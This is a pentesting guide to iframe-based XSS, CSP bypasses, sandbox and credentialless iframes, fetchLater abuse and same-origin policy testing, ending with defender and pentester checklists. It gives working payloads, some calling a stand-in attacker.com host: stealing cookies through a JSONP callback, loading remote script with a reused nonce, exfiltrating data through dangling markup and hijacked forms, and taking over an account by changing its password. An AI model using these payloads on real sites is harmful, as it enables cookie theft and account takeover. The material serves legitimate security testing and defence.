Iframe XSS, CSP & SOP Pentesting
A comprehensive guide for testing iframe-based vulnerabilities including XSS vectors, CSP bypasses, and SOP violations.
Quick Reference
# Start local test server
python3 -m http.server 8000
# Test iframe XSS payloads
# See sections below for specific attack vectors
Iframe XSS Vectors
Three Content Injection Methods
- URL-based
src- Load external or same-origin pages data:protocol - Embed content directly in the URLsrcdocattribute - Embed HTML content directly
Same-Origin Access Patterns
<!-- Parent page -->
<script>
var secret = "parent-secret";
</script>
<iframe id="cross-origin" src="http://other-domain.com/page.html"></iframe>
<iframe id="same-origin" src="child.html"></iframe>
<iframe id="srcdoc" srcdoc="<script>var secret='srcdoc-secret';</script>"></iframe>
<iframe id="data-protocol" src="data:text/html,<script>var secret='data-secret';</script>"></iframe>
<script>
// Cross-origin iframe: CANNOT access child.secret (SOP blocks)
// Same-origin iframe: CAN access child.secret
// srcdoc: CAN access (same origin as parent)
// data: protocol: CANNOT access (null origin)
console.log(document.getElementById('same-origin').contentWindow.secret);
console.log(document.getElementById('srcdoc').contentWindow.secret);
</script>
Key insight: Only same-origin iframes can access parent/child variables. Cross-origin and data: protocol iframes are blocked by SOP.
CSP Bypass Techniques
Basic CSP Bypass via Iframe
Even with script-src 'none', iframes with URL-based src can execute scripts:
<!-- Parent with restrictive CSP -->
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<iframe src="malicious.html"></iframe>
<!-- malicious.html (no CSP) -->
<script>
alert(document.cookie);
// Can access parent if same-origin
alert(parent.secret);
</script>
Why this works: The CSP applies to the parent document, not the iframe content. If you can upload a file to the server, you can bypass script-src 'none'.
Advanced CSP Bypasses (2023-2025)
1. Dangling Markup / Named Iframe Exfiltration
When HTML is reflected but CSP blocks scripts, use dangling iframe attributes:
<!-- Inject before sensitive content -->
<iframe name="//attacker.com/?">
// On attacker.com
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // Contains leaked data up to next quote
Use case: Leaking CSRF tokens, session IDs, or any reflected data when script-src 'none' is enforced.
2. Nonce Reuse via Same-Origin Iframe
If you can inject same-origin HTML, read the nonce from the DOM:
// In same-origin iframe
const nonce = top.document.querySelector('[nonce]').getAttribute('nonce');
const script = top.document.createElement('script');
script.src = 'https://attacker.com/pwn.js';
script.nonce = nonce;
top.document.body.appendChild(script);
Requirements:
- Same-origin HTML injection point
- CSP uses nonces (not just hashes)
strict-dynamicmay still allow this
3. Form-Action Hijacking
If form-action directive is missing, redirect form submissions:
<!-- Injected iframe or HTML -->
<iframe src="https://attacker.com/capture.php"></iframe>
<form action="https://attacker.com/capture.php" method="POST">
<!-- Password managers may auto-fill here -->
</form>
Defense: Always include form-action 'self' in CSP.
Testing CSP Bypasses
Use the test server script to verify bypasses:
# Run the test server
python3 scripts/test_csp_bypass.py
# Visit http://localhost:8000 to see:
# - Cookie theft with script-src 'self'
# - Various iframe configurations
Sandbox Attribute Testing
Default Restrictions
Empty sandbox applies ALL restrictions:
<iframe sandbox="" src="page.html"></iframe>
Blocked by default:
- Script execution
- Form submission
- Top-level navigation
- Plugin usage
- Same-origin access
- Auto-play media
Granular Permissions
<!-- Allow scripts only (isolated origin) -->
<iframe sandbox="allow-scripts" src="page.html"></iframe>
<!-- Allow scripts + same-origin access -->
<iframe sandbox="allow-scripts allow-same-origin" src="page.html"></iframe>
<!-- Allow top navigation (user activation required in modern browsers) -->
<iframe sandbox="allow-top-navigation-by-user-activation" src="page.html"></iframe>
<!-- Allow downloads without user activation -->
<iframe sandbox="allow-downloads-without-user-activation" src="page.html"></iframe>
Testing Sandbox Escapes
- Check if
allow-same-originis present - enables parent access - Check if
allow-scriptsis present - enables JS execution - Check if
allow-top-navigationis present - enables navigation attacks - Test form submission if
allow-formsis present
Credentialless Iframes
What They Do
Chrome 110+ loads iframes without credentials while maintaining SOP:
<iframe src="https://victim.com/page" credentialless></iframe>
Effects:
- No cookies sent to iframe
- No localStorage/IndexedDB shared
- Same-origin scripts can still interact via DOM
- CSRF protection usually works (no auth cookies)
- Password managers disabled
Self-XSS + Credentialless Attack
<!-- Attacker page -->
<iframe id="credless" src="https://victim.com/login" credentialless>
<!-- Contains Self-XSS payload in username field -->
</iframe>
<iframe id="authed" src="https://victim.com/dashboard">
<!-- User is logged in here -->
</iframe>
<script>
// After Self-XSS executes in credless iframe
// Both iframes share same top-level origin
const cookie = document.getElementById('authed').contentWindow.document.cookie;
console.log('Stolen cookie:', cookie);
</script>
Requirements:
- Self-XSS vulnerability on victim site
- User visits attacker page while logged in
- Chrome 110+ or equivalent browser
Testing Credentialless Attacks
- Check browser support (Chrome 110+, Edge, Firefox 110+)
- Look for Self-XSS vectors (user-controlled HTML in profile/settings)
- Test if multiple iframes can share DOM access
- Verify cookie partitioning behavior
fetchLater API Abuse
What It Does
Defers requests until page unload or timeout:
const req = new Request('/change-password', {
method: 'POST',
body: JSON.stringify({password: 'attacker-password'}),
credentials: 'include'
});
// Execute after 1 minute
fetchLater(req, {activateAfter: 60000});
Attack Pattern
- Inject Self-XSS in attacker's session
- Set
fetchLaterrequest to perform action - Logout from attacker session
- Victim logs in with their credentials
fetchLaterexecutes in victim's session
Requirements:
- Browser supports
fetchLater(emerging API) - Self-XSS injection point
- Victim visits attacker page
Defense:
- CSP
connect-srccontrolsfetchLaterrequests - Feature-detect before using
SOP Considerations
Cross-Origin Communication
// Parent page
const iframe = document.getElementById('cross-origin-frame');
// This will FAIL if iframe is cross-origin
try {
console.log(iframe.contentWindow.document.cookie);
} catch (e) {
console.log('SOP blocked access:', e.message);
}
// Use postMessage for cross-origin communication
iframe.contentWindow.postMessage('hello', 'https://trusted-origin.com');
Testing SOP Violations
- Check iframe origins - Same-origin vs cross-origin
- Test parent access - Can parent read iframe content?
- Test child access - Can iframe read parent content?
- Test postMessage - Is message origin validation present?
- Check for
nullorigin -data:protocol iframes
Defensive Checklist
For Defenders
- Include ALL CSP directives:
form-action,frame-src,child-src,object-src - Use
strict-dynamicwith nonces, don't rely on nonce secrecy - Apply
sandboxcarefully - avoidallow-same-originunless necessary - Consider COOP+COEP deployment
- Use
credentiallessfor third-party embeds in COEP environments - Validate and sanitize all iframe
srcandsrcdocattributes - Implement proper
postMessageorigin validation
For Pentesters
- Test all three iframe content methods (URL, data:, srcdoc)
- Try CSP bypasses with uploaded files
- Test dangling markup exfiltration
- Check for nonce reuse opportunities
- Test form-action hijacking
- Verify sandbox restrictions
- Test credentialless iframe interactions
- Check for fetchLater support and abuse potential
- Map SOP boundaries between frames
Common Payloads
<!-- Data: protocol XSS (if allowed) -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- JSONP endpoint abuse -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://attacker.com/?c=`+document.cookie;})();//"></script>'></iframe>
<!-- Defer/async script in iframe -->
<iframe src='data:text/html,<script defer src="data:text/javascript,alert(1)"></script>'></iframe>
<!-- Named iframe exfiltration -->
<iframe name="//attacker.com/?token="></iframe>